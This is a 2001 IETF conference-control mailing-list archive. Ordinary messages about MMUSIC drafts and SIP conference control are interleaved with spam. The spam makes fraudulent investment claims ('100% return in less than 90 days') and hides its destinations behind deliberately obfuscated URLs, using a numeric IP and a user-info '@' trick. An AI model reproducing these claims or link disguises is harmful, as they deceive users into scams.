Content-Transfer-Encoding: quoted-printable
X-Priority: 3
X-MSMail-Priority: Normal
Reply-To: adamsd34@hongkong.com
X-Mailer: USANET web-mailer (34WB1.4.03)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<HTML>
<BODY>

<FONT face=3D"MS Sans Serif">
<FONT size=3D2>
<FONT color=3D"#008000"><B> Currency Trading Made Simple!<BR>
</B></FONT>
<FONT color=3D"#000000"> <BR>
Do You Have The Yen To Be a A Millionaire?<BR>
<BR>
</FONT>
<FONT color=3D"#008000"><B> 100% return in less than 90 days!<BR>
</B></FONT>
<FONT color=3D"#000000"> <BR>
Unique Strategy Trading in the International Currency Markets!<BR>
<BR>
Largest MarketPlace in the World!<BR>
<BR>
Get our Reports, Charts and Strategies on the U.S. Dollar vs<BR>
Japanese yen and euro dollar.<BR>
<BR>
Example:<BR>
<BR>
A $5,000 Investment in the yen vs the dollar, "properly positioned",<BR>
on 08/18 could have returned $15,000 on 09/19/99.<BR>
<BR>
To receive your  </FONT>
<FONT color=3D"#0000FF"><B> "FREE NO OBLIGATION"</B></FONT>
<FONT color=3D"#000000">  information packet<BR>
<BR>
Contact us <a href=3D"http://a-1emailservice.com/FreeHosting/713867/invest=
/default.asp">click here</a>Today!<BR>
<BR>
<BR>
<BR>
<BR>
<BR>
<BR>
<BR>
<BR>
<BR>
<BR>
<BR>
<BR>
<BR>
<BR>
<BR>
<BR>
<BR>
To be removed: mailto:remove@5homes.cc<BR>
</FONT></FONT><p><p><p><p><p><p><p><p><p><p>







<p><FONT face=3D"MS Sans Serif"><p><FONT size=3D2><p><FONT color=3D"#00800=
0"><B> Currency Trading Made Simple!<BR><p></B></FONT><p><FONT color=3D"#0=
00000"> <BR><p>Do You Have The Yen To Be a A Millionaire?<BR><p><p>
</BODY>
</HTML>



From confctrl-owner  Tue Feb 27 12:24:56 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id MAA05992
	for confctrl-outgoing; Tue, 27 Feb 2001 12:24:56 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA05987
	for <confctrl@zephyr.isi.edu>; Tue, 27 Feb 2001 12:24:55 -0800 (PST)
Received: from yungjaw.com.tw (v1.is.net.tw [210.62.129.1])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f1RKOqq09516
	for <confctrl@isi.edu>; Tue, 27 Feb 2001 12:24:53 -0800 (PST)
Received: from apsondnf.moteride.net (1Cust250.tnt12.det3.da.uu.net [63.27.69.250]) by yungjaw.com.tw (8.8.8/SCA-6.6)  with SMTP
	id EAA20896; Wed, 28 Feb 2001 04:24:21 +0800 (CST)
Reply-To: joebleid334@arabia.com
Date: Tue, 27 Feb 2001 15:30:12 -0500
To: asdoin@mailcity.com
Message-Id: <05wa6ac0624m6.0weo8h08vgsuv3r5sb1n@apsondnf.moteride.net>
CC: confbrasilvolei@mailcity.com, confctrl@mailcity.com, confctrw@mailcity.com,
        confderate@mailcity.com, confdesk@mailcity.com, confdr8@mailcity.com
From: bergren@apsondnf.moteride.net
X-Mailer: Mozilla 4.7 [en] (Win95; U)
Content-Type: text/html;
	 charset="iso-8859-1"
Content-Transfer-Encoding: 8BIT
Subject: You Can Boost Windows reliability!!!
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<html>
<body>
<p>Dear Windows User,<br>
<br>
Now you can boost the reliability of ordinary Windows ME, 95 and 98&nbsp;<br>
to<br>
nearly the level of Windows NT or 2000, Microsoft's professional and&nbsp;
<br>
industrial version of Windows.<br>
<br>
The new <font color="#FF0000"> WinFix</font> is a very effective way to 
improve the reliability of<br>
Windows, because it makes Windows fault-tolerant and self-repairing.&nbsp;
<br>
And<br>
<font color="#FF0000">
WinFix</font> is very safe, because it operates completely independent 
of&nbsp;<br>
Windows.<br>
<br>
<span class="072290608-23022001"><a href="http://00000000325.0000000030.
00000000341.00000000123/"><font face="Arial" size="4"><b>CLICK
HERE</b></font></a>
<font face="Arial" size="2"> </font> </span>to find out more about <font 
color="#FF0000"> WinFix</font> the safest,<br>
most effective way to keep you working,<br>
by keeping your PC working non-stop.<br>
Arlen Dixon, CEO<br>
<br>
Westwood Software Marketing<br>
<br>
<br>
* * * * * * * * * * * * * * * * *<br>
<br>
This announcement is being sent to PC users who asked to be kept<br>
informed about new developments in Windows(tm) technology.<br>
<br>
<br>
To be removed from future mailings:<br>
Please reply with REMOVE in the subject
line.</p>
</body>
</html>


From confctrl-owner  Wed Feb 28 01:45:22 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id BAA06966
	for confctrl-outgoing; Wed, 28 Feb 2001 01:45:22 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA06960
	for <confctrl@zephyr.isi.edu>; Wed, 28 Feb 2001 01:45:21 -0800 (PST)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by gamma.isi.edu (8.11.2/8.11.2) with ESMTP id f1S9jIW02962
	for <confctrl@ISI.EDU>; Wed, 28 Feb 2001 01:45:19 -0800 (PST)
Received: from mailserver1.ericsson.se (mailserver1.ericsson.se [136.225.152.91])
	by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP id f1RF9Bd10525
	for <confctrl@ISI.EDU>; Tue, 27 Feb 2001 16:09:12 +0100 (MET)
Received: from lmf.ericsson.se ([138.85.235.250])
	by mailserver1.ericsson.se (8.9.3/8.9.3/eri-1.0) with ESMTP id QAA08167
	for <confctrl@ISI.EDU>; Tue, 27 Feb 2001 16:09:08 +0100 (MET)
Message-ID: <3A9BC1BF.D081C9C@lmf.ericsson.se>
Date: Tue, 27 Feb 2001 17:03:27 +0200
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: mmusic <confctrl@ISI.EDU>
Subject: Minutes from San diego??
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,

I would like to take a look at the official minutes from the last MMUSIC
meeting in San Diego. Where can I find them?

Thanks,

Gonzalo
-- 
Gonzalo Camarillo                    Phone :   +1 212 939 71 71
Columbia University                  Mobile:  +358 40 702 35 35
472 Computer Science Building        Fax   :  +358  9 299 30 52
1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
New York, NY 10027                   
USA                              Gonzalo.Camarillo@ericsson.com

From confctrl-owner  Wed Feb 28 03:38:18 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA12553
	for confctrl-outgoing; Wed, 28 Feb 2001 03:38:18 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA12548
	for <confctrl@zephyr.isi.edu>; Wed, 28 Feb 2001 03:38:17 -0800 (PST)
Received: from radio.pub.ro (zeus.radio.pub.ro [141.85.254.151])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f1SBcAq06813;
	Wed, 28 Feb 2001 03:38:13 -0800 (PST)
Received: from dec2 (dec2.radio.pub.ro [141.85.151.154])
	by radio.pub.ro (8.9.3/8.9.3) with SMTP id RAA00938;
	Tue, 27 Feb 2001 17:59:28 +0200
Reply-To: <pcristea@dsp.pub.ro>
From: "Paul Cristea" <pcristea@dsp.pub.ro>
To: <negrescu@radio.pub.ro>
Cc: <negrescu@elcom.pub.ro>, <tcgn@ieee.org>, <tccc@ieee.org>,
        <SANFRAN@ACM.ORG>, <opensig-announce@ctr.columbia.edu>,
        <nichains@BXL.DG13.cec.be>, <msf-members@msforum.org>,
        <member@ieee-pin.org>, <kuvs-elg@fokus.gmd.de>, <itc@ieee.org>,
        <info-confs@comsoc.org>, <ifip-nm@prosun.first.gmd.de>,
        <IETF-Announce@es.net>, <IEEETCPC@listserv.utoronto.ca>,
        <gsmp@psyton.com>, <giga@tele.pitt.edu>, <gi-fb3@fokus.gmd.de>,
        <end2end-interest@ISI.EDU>, <end2end-interest@ISI.EDU>,
        <domain3@BXL.DG13.cec.be>, <Cost264@lip6.fr>,
        <COST237-TRANSPORT@COMP.LANCS.AC.UK>, <Conferencesa@comsoc.org>,
        <CONFERENCES@iao.fhg.de>, <confctrl@ISI.EDU>, <conf@colmar.uha.fr>,
        <ActiveNets_Wire@ittc.ukans.edu>
Subject: CFP IWSSIP 2001
Date: Tue, 27 Feb 2001 16:41:53 +0200
Message-ID: <GJEBIELLPCNFJANOLDFMMEALCAAA.pcristea@dsp.pub.ro>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

8th International Workshop on Systems, Signals and
Image Processing
IWSSIP 2001
June 7 - 9, 2001 - Bucharest, Romania

http://www.dsp.pub.ro/iwssip2001/


******************************************
Please consider the following announcement
and accept our apologies in case of multiple copies
******************************************

Call for papers

IWSSIP is an international workshop on theoretical,
experimental and applied signal and image processing
that intends to bring together researchers and
developers from academia and industry to report on the
latest scientific and technical advances, to discuss
and debate major issues, and to demonstrate up-to-day
systems. IWSSIP2001 builds on the success of the
previous editions held in Budapest ('94,'95),
Manchester ('96), Poznan ('97), Zagreb ('98),
Bratislava ('99), and Maribor (2000).

The workshop welcomes the submissions of high quality
advance and review papers on theoretical, experimental
and practical issues. The workshop promotes an
informal approach, with time for presentations,
questions, and discussions. Accepted papers will be
published in the Workshop Proceedings. The conference
also includes tutorials on topics to be established
based on your proposals.

A special session on The role of wavelets in modern
multimedia standards will be organized in cooperation
with Electronics and Information Processing
Department, Vrije Universiteit Brussel

Please find information on workshop topics, paper
submission, and other details on the IWSSIP 2001 web
site:


http://www.dsp.pub.ro/iwssip2001/


Please note that the (draft) paper submission deadline
is March 10, 2001.

Paul Cristea
General Chair of IWSSIP 2001
"Politehnica" University of Bucharest
Department of Engineering Sciences, EE&CS Division
Spl. Independentei 313, 77206 Bucharest, sect.6,
Romania
Phone & Fax:+40-1-411 44 37, Fax:   +40-1-410 44 14
Mobile:     +40-95 11 70 62, Phone: +40-1-410 43 95


From confctrl-owner  Wed Feb 28 05:14:37 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id FAA17147
	for confctrl-outgoing; Wed, 28 Feb 2001 05:14:37 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA17142
	for <confctrl@zephyr.isi.edu>; Wed, 28 Feb 2001 05:14:35 -0800 (PST)
Received: from nmh.informatik.uni-bremen.de (root@nmh.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f1SDEYq18572
	for <confctrl@ISI.EDU>; Wed, 28 Feb 2001 05:14:34 -0800 (PST)
Received: from duennmann.tzi.org.informatik.uni-bremen.de (rasen.informatik.uni-bremen.de [134.102.218.99])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with ESMTP id f1SDEUV12561
	for <confctrl@ISI.EDU>; Wed, 28 Feb 2001 14:14:30 +0100 (MET)
To: confctrl@ISI.EDU
Subject: Mbus drafts
From: Dirk Kutscher <dku@Informatik.Uni-Bremen.DE>
Date: 28 Feb 2001 14:14:36 +0100
Message-ID: <m31ysjj6f7.fsf@duennmann.tzi.org>
Lines: 16
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.7
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

We have submitted a new version of the Mbus transport draft. Until it
is posted you can get it from

http://www.dmn.tzi.org/ietf/mmusic/mbus/draft-ietf-mmusic-mbus-transport-04.txt
http://www.dmn.tzi.org/ietf/mmusic/mbus/draft-ietf-mmusic-mbus-transport-04.html

There are also HTML versions of the guidelines and the call control
draft:

http://www.dmn.tzi.org/ietf/mmusic/mbus/draft-ietf-mmusic-mbus-guidelines-00.html
http://www.dmn.tzi.org/ietf/mmusic/mbus/draft-ietf-mmusic-mbus-call-control-00.html

-- 
	Dirk


From confctrl-owner  Wed Feb 28 09:49:28 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id JAA02371
	for confctrl-outgoing; Wed, 28 Feb 2001 09:49:28 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA02366
	for <confctrl@zephyr.isi.edu>; Wed, 28 Feb 2001 09:49:27 -0800 (PST)
Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.174.154.14])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f1SHnPq28969
	for <confctrl@isi.edu>; Wed, 28 Feb 2001 09:49:26 -0800 (PST)
Received: from benetnash.fokus.gmd.de (benetnash [193.175.133.195])
	by mailhub.fokus.gmd.de (8.8.8/8.8.8) with ESMTP id SAA20380
	for <confctrl@isi.edu>; Wed, 28 Feb 2001 18:49:23 +0100 (MET)
Received: (from chr@localhost)
	by benetnash.fokus.gmd.de (8.8.8/8.8.8) id SAA04619
	for confctrl@isi.edu; Wed, 28 Feb 2001 18:49:23 +0100 (MET)
Date: Wed, 28 Feb 2001 18:49:23 +0100
From: Christoph Reichert <reichert@fokus.gmd.de>
To: confctrl@ISI.EDU
Subject: draft-reichert-mmusic-scp-00.txt
Message-ID: <20010228184923.A4594@fokus.gmd.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The draft mentioned in the subject motivates a Session Control
Protocol, gives some terminology and requirements and contains an
initial spec. It is already available in the draft directories.

The intent is to revive the discussion on Multiparty Multimedia
Session Control, and to see whether there is any interest.

chris

From confctrl-owner  Thu Mar  1 04:21:50 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id EAA25142
	for confctrl-outgoing; Thu, 1 Mar 2001 04:21:50 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA25137
	for <confctrl@zephyr.isi.edu>; Thu, 1 Mar 2001 04:21:48 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f21CLlq01677
	for <confctrl@isi.edu>; Thu, 1 Mar 2001 04:21:47 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA01046;
	Thu, 1 Mar 2001 07:21:45 -0500 (EST)
Message-Id: <200103011221.HAA01046@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-mbus-transport-04.txt,.ps
Date: Thu, 01 Mar 2001 07:21:45 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: A Message Bus for Local Coordiantion
	Author(s)	: J. Ott, C. Perkins, D. Kutscher
	Filename	: draft-ietf-mmusic-mbus-transport-04.txt,.ps
	Pages		: 45
	Date		: 28-Feb-01
	
The local Message Bus (Mbus) is a simple message-oriented
coordination infrastructure for group communication within groups of
co-located application entities. The Message Bus comprises three
logically distinct parts: a message transport infrastructure, a
structured message hierarchy, and a general purpose addressing
scheme. This document specifies message addressing, transport, and
security procedures and defines the message syntax for the Mbus. It
does not define application oriented semantics and procedures for
using the message bus.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-mbus-transport-04.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-mbus-transport-04.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-mbus-transport-04.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010228150343.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-mbus-transport-04.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-mbus-transport-04.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20010228150343.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Sun Mar  4 18:10:12 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id SAA05825
	for confctrl-outgoing; Sun, 4 Mar 2001 18:10:12 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id SAA05809
	for <confctrl@zephyr.isi.edu>; Sun, 4 Mar 2001 18:10:08 -0800 (PST)
Received: from fp13.digiweb.com ([216.205.156.13])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f252A7q06704
	for <confctrl@isi.edu>; Sun, 4 Mar 2001 18:10:07 -0800 (PST)
Received: from 1svlesa.localhost ([204.248.136.122]) by fp13.digiweb.com  with Microsoft SMTPSVC(5.5.1877.197.19);
	 Sun, 4 Mar 2001 20:39:26 +0000
To: @islc.net
Message-Id: <p050medyebsf27.3r56ce475@1svlesa.localhost>
Content-Type: text/html;
	 charset="iso-8859-1"
Content-Transfer-Encoding: 8BIT
From: jamses9877@hotmail.com
Date: Sun, 04 Mar 2001 18:10:14 -0800
Subject: LENDERS COMPETE!! Lowest Rates in 8 YEARS!! -yjufyy
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<html>

<head>

<META NAME="GENERATOR" CONTENT="Arachnophilia 3.9">
<META NAME="FORMATTER" CONTENT="Arachnophilia 3.9">

<title>Lender's Network</title>

<style fprolloverstyle>A:hover {color: #FF0000}

</style>

</head>

<body bgcolor="tan" background="" link="#0000ff" vlink="#800080" 
alink="#ff0000">

<B><CENTER><FONT SIZE="5" COLOR="#000000" FACE="Times New 
Roman"><U><B><CENTER>The Lenders Network!</CENTER></B></U></FONT></CENTER></B>

<th align="center" nowrap width="334" height="190" valign="top">
<p>
<h3 align="center"><font color="#000000"><font face="Tahoma"> Where mortgage 
lenders compete for

</font><b><i><u><font face="Tahoma"> your</font></u></i></b><font 
face="Tahoma">

 business!
<center><h3><font color=#0000ff>Current Information For</h3></center>
<SCRIPT language=JavaScript>
<!--

// Begin

var months=new Array(13);

months[1]="January";

months[2]="February";

months[3]="March";

months[4]="April";

months[5]="May";

months[6]="June";

months[7]="July";

months[8]="August";

months[9]="September";

months[10]="October";

months[11]="November";

months[12]="December";

var time=new Date();

var lmonth=months[time.getMonth() + 1];

var date=time.getDate();

var year=time.getYear();



// Y2K Fix by Isaac Powell

// http://onyx.idbsu.edu/~ipowell



if ((navigator.appName == "Microsoft Internet Explorer") && (year < 2000))

year="19" + year;

if (navigator.appName == "Netscape")

year=1900 + year;

document.write("<center>" + lmonth + " ");

document.write(date + ", " + year + "</center>");

// End

// --></SCRIPT>
</font>
<table border="0" width="750">

  <tr>

    <td width="389" height="190" valign="top"><b><font face="Arial" 
color="#000000"><br>

      The "Lenders Network" is a 100% FREE TO BUYER Service.  Fill in our <a 
href="http://408.315.326.29-pdvacne-kkosxckx-mdbdbx.htm@3575177544/getloans/?
redirect=free.prohosting.com/lwrnzl/rzdxikd/syvl.htm">

 <i>5 Minute quote request form</i></a> and we will instantly submit your 
loan request to

      our competing lenders!</font></b><p><font face="Arial" 
color="#000000">The<b>

      financial experts</b> comprising the "Lender's Network" represent 
hundreds of loan programs, <br>
including</font></p>

      <blockquote>
        <blockquote>
          <ul>
            <li><b> <font face="Arial" color="#000000"> purchase 
loans</font></b></li>
            <li><b><font face="Arial" 
color="#000000">refinance</font></b></li>
            <li><b><font face="Arial" color="#000000">debt
              consolidation</font></b></li>
            <li><b><font face="Arial" color="#000000">home improvement&nbsp;
</font></b></li>
            <li><b><font face="Arial" color="#000000">second 
mortgages</font></b></li>
            <li><b><font face="Arial" color="#000000">no income
              verification</font></b></li>
          </ul>
        </blockquote>
      </blockquote>

		<td>
			<p><font face="Arial">Our Network of Lenders are <b><u>Licensed and 
Registered</u></b> to do business in all 50 U.S. States.  You will often be 
<b><u>contacted with an offer</u></b> the very same day you fill out the form!
<P>

<u><b><font color=#0000ff><a href="http://408.315.326.
29-pdvacne-kkosxckx-mdbdbx.htm@3575177544/getloans/?redirect=free.prohosting.
com/lwrnzl/rzdxikd/syvl.htm">NEVER SETTLE FOR A SINGLE QUOTE!
</a></font></b></u><p>


<p><font face="Arial"> You can save <i><b><u>Thousands Of Dollars</u></b></i> 
over the course of your loan with just a 1/4 of 1% Drop in your rate!  The 
information you provide to
our extensive database of <b>Financial Experts</b> will result in offer's 
meeting the exact criterion you requested.</font><br><p>

<font color=#0000ff><b><a href="http://408.315.326.29-pdvacne-kkosxckx-mdbdbx.
htm@3575177544/getloans/?redirect=free.prohosting.com/lwrnzl/rzdxikd/syvl.
htm">Get MULTIPLE OFFER'S and get the loan you want....and DESERVE!
</a></b></font><br>
		</td>


      </p>

</table>

<p>

When you <a href="http://408.315.326.29-pdvacne-kkosxckx-mdbdbx.
htm@3575177544/getloans/?redirect=free.prohosting.com/lwrnzl/rzdxikd/syvl.
htm"><font color="#0000ff">Click Here</font></a>, expect as many as 3 OFFERS 
from professionally licensed Mortgage Broker's...tailored to meet YOUR needs.  
Compare and CHOOSE! 

<hr WIDTH="100%">

<center>Email List Removal
<br><b><a href="mailto: lefty665@uole.com?subject=remove">Click Here</a></b></center>

</body>
</html>




From confctrl-owner  Tue Mar  6 03:51:11 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA12720
	for confctrl-outgoing; Tue, 6 Mar 2001 03:51:11 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA12715
	for <confctrl@zephyr.isi.edu>; Tue, 6 Mar 2001 03:51:09 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f26Bp4q13897
	for <confctrl@isi.edu>; Tue, 6 Mar 2001 03:51:05 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA07882;
	Tue, 6 Mar 2001 06:51:02 -0500 (EST)
Message-Id: <200103061151.GAA07882@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sccp-01.txt
Date: Tue, 06 Mar 2001 06:51:02 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Simple Conference Control Protocol
                          Service Specofocation
	Author(s)	: C. Bormann
	Filename	: draft-ietf-mmusic-sccp-01.txt
	Pages		: 24
	Date		: 05-Mar-01
	
This document defines the services for a simple conference control
protocol (SCCP) to be used for tightly coupled conferences. It is
part of the Internet Multimedia Conferencing Architecture, proposed
in [1].

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sccp-01.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sccp-01.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sccp-01.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010305132049.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sccp-01.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sccp-01.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20010305132049.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Tue Mar  6 17:46:44 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id RAA26002
	for confctrl-outgoing; Tue, 6 Mar 2001 17:46:44 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA25997
	for <confctrl@zephyr.isi.edu>; Tue, 6 Mar 2001 17:46:43 -0800 (PST)
Received: from blv-smtpout-01.boeing.com (blv-smtpout-01.boeing.com [192.161.36.5])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f271kgq13003
	for <confctrl@isi.edu>; Tue, 6 Mar 2001 17:46:42 -0800 (PST)
Received: from blv-av-02.boeing.com ([192.54.3.92])
	by blv-smtpout-01.boeing.com (8.9.2/8.8.5-M2) with ESMTP id RAA02746
	for <confctrl@isi.edu>; Tue, 6 Mar 2001 17:46:41 -0800 (PST)
Received: from blv-hub-01.boeing.com (localhost [127.0.0.1])
	by blv-av-02.boeing.com (8.9.3/8.9.2) with ESMTP id RAA29913
	for <confctrl@isi.edu>; Tue, 6 Mar 2001 17:46:40 -0800 (PST)
Received: from xch-pssbh-03.nw.nos.boeing.com by blv-hub-01.boeing.com with ESMTP; Tue, 6 Mar 2001 17:46:32 -0800
Received: by xch-pssbh-03.nw.nos.boeing.com with Internet Mail Service (5.5.2650.21)
	id <G2HTJ9WT>; Tue, 6 Mar 2001 17:46:32 -0800
Message-Id: <8006AC6A777F3F4F8B2A6383C19C5B7A01F12B43@XCH-NW-01.nw.nos.boeing.com>
From: "Fleischman, Eric W" <Eric.Fleischman@PSS.Boeing.com>
To: "'sip-implementors@cs.columbia.edu'" <sip-implementors@cs.columbia.edu>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: SIP Conference Control for peer conference calls
Date: Tue, 6 Mar 2001 17:46:31 -0800 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I request assistance from these lists to better understand the conference control options available to support SIP-oriented conference calls. My current experience with conference control alternatives resemble the all-or-nothing alternatives described in Section 6 of M. Handley/J. Crowcroft/C. Bormann/J. Ott's internet draft document "The Internet Multimedia Conferencing Architecture" (see http://search.ietf.org/internet-drafts/draft-ietf-mmusic-confarch-03.txt). These alternatives (simplistically speaking) are the tightly coupled control of the H.320 series (e.g., H.323) versus the lightly coupled control of traditional MBONE applications. However, what I seek is something in the middle, since I would prefer to avoid the overheads associated with tightly coupled approaches as well as the inefficiencies of loosely coupled.

